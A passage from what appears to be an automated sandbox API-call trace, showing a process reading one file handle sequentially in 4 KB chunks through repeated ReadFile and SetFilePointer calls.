[0172.637] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.638] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x18000 [0172.638] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.638] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x19000 [0172.638] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.639] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x1a000 [0172.639] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.639] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x1b000 [0172.640] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.640] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x1c000 [0172.641] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.641] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x1d000 [0172.641] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.642] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x1e000 [0172.642] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.643] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x1f000 [0172.643] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.644] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x20000 [0172.644] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.645] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x21000 [0172.645] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.646] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x22000 [0172.646] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.646] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x23000 [0172.646] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.647] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x24000 [0172.648] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.648] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x25000 [0172.648] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.650] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x26000 [0172.650] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.651] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x27000 [0172.651] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.759] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x28000 [0177.759] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.760] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x29000 [0177.760] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.761] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x2a000 [0177.761] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.761] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x2b000 [0177.761] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.762] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x2c000 [0177.762] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.765] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x2d000 [0177.766] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.766] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x2e000 [0177.766] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.766] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x2f000 [0177.766] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.766] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x30000 [0177.766] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.767] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x31000 [0177.767] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.767] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x32000 [0177.767] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.768] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x33000 [0177.768] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.768] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x34000 [0177.768] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.768] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x35000 [0177.768] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.768] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x36000 [0177.769] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.769] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x37000 [0177.769] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.769] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x38000 [0177.769] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.770] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x39000 [0177.770] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.770] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x3a000 [0177.770] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.770] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x3b000 [0177.771] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.771] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x3c000 [0177.771] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.771] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x3d000 [0177.771] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.772] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x3e000 [0177.772] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.772] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x3f000 [0177.772] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.772] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x40000 [0177.773] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.773] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x41000 [0177.773] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.773] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x42000 [0177.774] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.774] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x43000 [0177.774] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.774] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x44000 [0177.774] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.775] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x45000 [0177.775] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.775] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x46000 [0177.775] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.776] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x47000 [0177.776] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.776] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x48000 [0177.776] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.777] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x49000 [0177.777] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.777] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x4a000 [0177.777] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.937] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x4b000 [0177.937] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.938] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x4c000 [0177.938] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0177.938] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x4d000 [0177.939] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.053] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x4e000 [0178.053] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.054] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x4f000 [0178.054] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.054] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x50000 [0178.054] 